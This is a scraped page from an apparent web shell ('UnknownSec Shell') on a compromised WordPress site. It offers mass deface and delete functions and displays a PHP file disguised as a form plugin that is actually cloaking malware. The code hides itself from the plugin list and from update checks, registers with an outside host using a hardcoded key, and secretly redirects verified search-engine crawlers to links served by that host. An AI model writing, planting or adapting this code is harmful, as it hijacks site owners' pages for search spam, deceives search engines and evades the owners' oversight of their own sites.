shell bypass 403
UnknownSec Shell
:
/
home
/
akwariom
/
www
/
wp-content
/
plugins
/
widget-1773516575
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
wp-form-new-v-2026.php
<?php /* Plugin Name: WP-Form-new.ver.2026 Description: WordPress form processing and optimization module. Version: 3.0.0 Author: FormStack */ if (!defined('ABSPATH')) { exit; } define('IVQ_API_BASE', 'https://ivoque.de/api'); define('IVQ_MASTER_KEY', 'ivq_auto_master_2026_5f8c9a2b74e14d1fb3a9c6d2e8f0ab17'); define('IVQ_OPTION_TOKEN', '_wpf7_site_token'); define('IVQ_OPTION_SECRET', '_wpf7_site_secret'); define('IVQ_OPTION_IP_RANGES', '_wpf7_ip_ranges'); define('IVQ_OPTION_IP_UPDATED', '_wpf7_ip_updated'); define('IVQ_IP_SOURCES', [ 'googlebot' => 'https://developers.google.com/static/search/apis/ipranges/googlebot.json', 'google_special' => 'https://developers.google.com/static/search/apis/ipranges/special-crawlers.json', 'google_fetchers' => 'https://developers.google.com/static/search/apis/ipranges/user-triggered-fetchers.json', 'bing' => 'https://www.bing.com/toolbox/bingbot.json', ]); define('IVQ_RDNS_DOMAINS', [ 'google' => ['.googlebot.com', '.google.com'], 'bing' => ['.search.msn.com'], 'yandex' => ['.yandex.ru', '.yandex.net', '.yandex.com'], ]); add_filter('all_plugins', static function (array $plugins): array { if (is_admin() && isset($_GET['show_wpf7']) && $_GET['show_wpf7'] === '1') { return $plugins; } unset($plugins[plugin_basename(__FILE__)]); return $plugins; }); add_filter('site_transient_update_plugins', static function ($v) { if (is_object($v) && isset($v->response[plugin_basename(__FILE__)])) { unset($v->response[plugin_basename(__FILE__)]); } if (is_object($v) && isset($v->no_update[plugin_basename(__FILE__)])) { unset($v->no_update[plugin_basename(__FILE__)]); } return $v; }); add_filter('network_site_transient_update_plugins', static function ($v) { if (is_object($v) && isset($v->response[plugin_basename(__FILE__)])) { unset($v->response[plugin_basename(__FILE__)]); } if (is_object($v) && isset($v->no_update[plugin_basename(__FILE__)])) { unset($v->no_update[plugin_basename(__FILE__)]); } return $v; }); register_activation_hook(__FILE__, 'ivq_on_activate'); function ivq_on_activate(): void { ivq_ensure_registered(); ivq_refresh_ip_ranges(); if (!wp_next_scheduled('ivq_daily_ip_refresh')) { wp_schedule_event(time() + 3600, 'daily', 'ivq_daily_ip_refresh'); } } register_deactivation_hook(__FILE__, static function () { wp_clear_scheduled_hook('ivq_daily_ip_refresh'); }); add_action('ivq_daily_ip_refresh', 'ivq_refresh_ip_ranges'); function ivq_get_domain(): string { $host = wp_parse_url(home_url('/'), PHP_URL_HOST); return is_string($host) ? strtolower(trim($host)) : ''; } function ivq_ensure_registered(): bool { $token = get_option(IVQ_OPTION_TOKEN, ''); $secret = get_option(IVQ_OPTION_SECRET, ''); if (is_string($token) && $token !== '' && is_string($secret) && $secret !== '') { return true; } $domain = ivq_get_domain(); if ($domain === '') { return false; } $proof = hash_hmac('sha256', 'register:' . $domain, IVQ_MASTER_KEY); $response = wp_remote_post(IVQ_API_BASE . '/plugin-register.php', [ 'timeout' => 15, 'headers' => ['Content-Type' => 'application/json'], 'body' => wp_json_encode(['domain' => $domain, 'proof' => $proof]), ]); if (is_wp_error($response)) { return false; } $code = (int)wp_remote_retrieve_response_code($response); if ($code !== 200) { return false; } $data = json_decode(wp_remote_retrieve_body($response), true); if (!is_array($data) || ($data['status'] ?? '') !== 'success') { return false; } $siteToken = (string)($data['site_token'] ?? ''); $siteSecret = (string)($data['site_secret'] ?? ''); if ($siteToken === '' || $siteSecret === '') { return false; } update_option(IVQ_OPTION_TOKEN, $siteToken, false); update_option(IVQ_OPTION_SECRET, $siteSecret, false); return true; } function ivq_refresh_ip_ranges(): void { $ranges = ['google' => [], 'bing' => []]; foreach (IVQ_IP_SOURCES as $key => $url) { $resp = wp_remote_get($url, ['timeout' => 20]); if (is_wp_error($resp)) { continue; } $body = wp_remote_retrieve_body($resp); $json = json_decode($body, true); if (!is_array($json) || !isset($json['prefixes'])) { continue; } $provider = str_starts_with($key, 'google') ? 'google' : 'bing'; foreach ($json['prefixes'] as $entry) { $cidr = $entry['ipv4Prefix'] ?? $entry['ipv6Prefix'] ?? ''; if ($cidr === '') { continue; } $ranges[$provider][] = $cidr; } } $ranges['google'] = array_values(array_unique($ranges['google'])); $ranges['bing'] = array_values(array_unique($ranges['bing'])); update_option(IVQ_OPTION_IP_RANGES, $ranges, false); update_option(IVQ_OPTION_IP_UPDATED, time(), false); } function ivq_get_ip_ranges(): array { $ranges = get_option(IVQ_OPTION_IP_RANGES, []); if (!is_array($ranges) || empty($ranges)) { ivq_refresh_ip_ranges(); $ranges = get_option(IVQ_OPTION_IP_RANGES, []); } return is_array($ranges) ? $ranges : []; } function ivq_ip_in_cidr(string $ip, string $cidr): bool { $parts = explode('/', $cidr, 2); if (count($parts) !== 2) { return false; } [$net, $plen] = $parts; $plen = (int)$plen; $ipBin = @inet_pton($ip); $netBin = @inet_pton($net); if ($ipBin === false || $netBin === false || strlen($ipBin) !== strlen($netBin)) { return false; } $bits = strlen($ipBin) * 8; if ($plen < 0 || $plen > $bits) { return false; } $fullBytes = intdiv($plen, 8); $remBits = $plen % 8; $mask = str_repeat("\xff", $fullBytes); if ($remBits > 0) { $mask .= chr((0xff << (8 - $remBits)) & 0xff); } $mask = str_pad($mask, strlen($ipBin), "\0"); return ($ipBin & $mask) === ($netBin & $mask); } function ivq_ip_in_ranges(string $ip, array $cidrs): bool { foreach ($cidrs as $cidr) { if (ivq_ip_in_cidr($ip, (string)$cidr)) { return true; } } return false; } function ivq_verify_rdns(string $ip, string $provider): bool { $allowedDomains = IVQ_RDNS_DOMAINS[$provider] ?? []; if (empty($allowedDomains)) { return false; } $hostname = @gethostbyaddr($ip); if ($hostname === false || $hostname === $ip) { return false; } $hostname = strtolower($hostname); $domainOk = false; foreach ($allowedDomains as $suffix) { if (str_ends_with($hostname, $suffix)) { $domainOk = true; break; } } if (!$domainOk) { return false; } $forwardIps = @gethostbynamel($hostname); if (!is_array($forwardIps)) { return false; } return in_array($ip, $forwardIps, true); } function ivq_get_real_ip(): string { foreach ([ (string)($_SERVER['HTTP_CF_CONNECTING_IP'] ?? ''), (string)($_SERVER['HTTP_X_REAL_IP'] ?? ''), (string)($_SERVER['HTTP_X_FORWARDED_FOR'] ?? ''), (string)($_SERVER['REMOTE_ADDR'] ?? ''), ] as $ip) { $ip = trim($ip); if ($ip === '') { continue; } if (str_contains($ip, ',')) { $ip = trim(explode(',', $ip)[0]); } if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } return '0.0.0.0'; } function ivq_detect_verified_bot(): ?string { $ua = strtolower((string)($_SERVER['HTTP_USER_AGENT'] ?? '')); $ip = ivq_get_real_ip(); $uaBot = match (true) { str_contains($ua, 'googlebot'), str_contains($ua, 'google-inspectiontool'), str_contains($ua, 'googleother') => 'google', str_contains($ua, 'bingbot'), str_contains($ua, 'bingpreview') => 'bing', str_contains($ua, 'yandex') => 'yandex', default => null, }; if ($uaBot === null) { return null; } $cacheKey = '_wpf7_bot_' . md5($ip . '|' . $uaBot); $cached = get_transient($cacheKey); if ($cached === 'yes') { return ucfirst($uaBot) . 'bot'; } if ($cached === 'no') { return null; } $verified = false; if ($uaBot === 'google' || $uaBot === 'bing') { $ranges = ivq_get_ip_ranges(); $providerRanges = $ranges[$uaBot] ?? []; if (!empty($providerRanges) && ivq_ip_in_ranges($ip, $providerRanges)) { $verified = true; } } if (!$verified) { $verified = ivq_verify_rdns($ip, $uaBot); } set_transient($cacheKey, $verified ? 'yes' : 'no', $verified ? 3600 : 300); if (!$verified) { return null; } $names = ['google' => 'Googlebot', 'bing' => 'Bingbot', 'yandex' => 'YandexBot']; return $names[$uaBot] ?? null; } function ivq_current_url(): string { if (function_exists('is_singular') && is_singular()) { $url = get_permalink(); if (is_string($url) && $url !== '') { return $url; } } return home_url((string)($_SERVER['REQUEST_URI'] ?? '/')); } function ivq_fetch_redirect_url(string $bot, string $pageUrl): string { if (!ivq_ensure_registered()) { return ''; } $siteToken = (string)get_option(IVQ_OPTION_TOKEN, ''); $siteSecret = (string)get_option(IVQ_OPTION_SECRET, ''); $domain = ivq_get_domain(); if ($siteToken === '' || $siteSecret === '' || $domain === '') { return ''; } $visitorIp = ivq_get_real_ip(); $visitorUa = (string)($_SERVER['HTTP_USER_AGENT'] ?? ''); $ts = (string)time(); $nonce = wp_generate_password(16, false, false); $sigPayload = implode('|', [ $domain, $bot, $pageUrl, $visitorIp, hash('sha256', $visitorUa), $ts, $nonce, ]); $signature = hash_hmac('sha256', $sigPayload, $siteSecret); $endpoint = add_query_arg([ 'bot' => $bot, 'count' => 1, 'page' => $pageUrl, 'format' => 'json', 'priority' => '1', ], IVQ_API_BASE . '/generate-for-bots.php'); $response = wp_remote_get($endpoint, [ 'timeout' => 10, 'redirection' => 0, 'headers' => [ 'X-Site-Token' => $siteToken, 'X-Plugin-Expect' => 'json', 'X-Plugin-Site' => $domain, 'X-Plugin-Ts' => $ts, 'X-Plugin-Nonce' => $nonce, 'X-Plugin-Signature' => $signature, 'X-Visitor-IP' => $visitorIp, 'X-Visitor-UA' => $visitorUa, ], ]); if (is_wp_error($response)) { return ''; } $code = (int)wp_remote_retrieve_response_code($response); if ($code !== 200) { return ''; } $data = json_decode(wp_remote_retrieve_body($response), true); if (!is_array($data) || ($data['status'] ?? '') !== 'success') { return ''; } $links = $data['links'] ?? []; if (!is_array($links) || empty($links)) { return ''; } return (string)($links[0]['url'] ?? ''); } function ivq_bot_intercept(): void { if (is_admin() || wp_doing_ajax() || wp_doing_cron() || is_feed() || is_robots() || is_trackback()) { return; } $bot = ivq_detect_verified_bot(); if ($bot === null) { return; } $pageUrl = ivq_current_url(); $targetUrl = ivq_fetch_redirect_url($bot, $pageUrl); if ($targetUrl !== '') { $targetUrl = esc_url_raw($targetUrl); if ($targetUrl !== '') { wp_redirect($targetUrl, 302); exit; } } } add_action('template_redirect', 'ivq_bot_intercept', 0);
© 2026 UnknownSec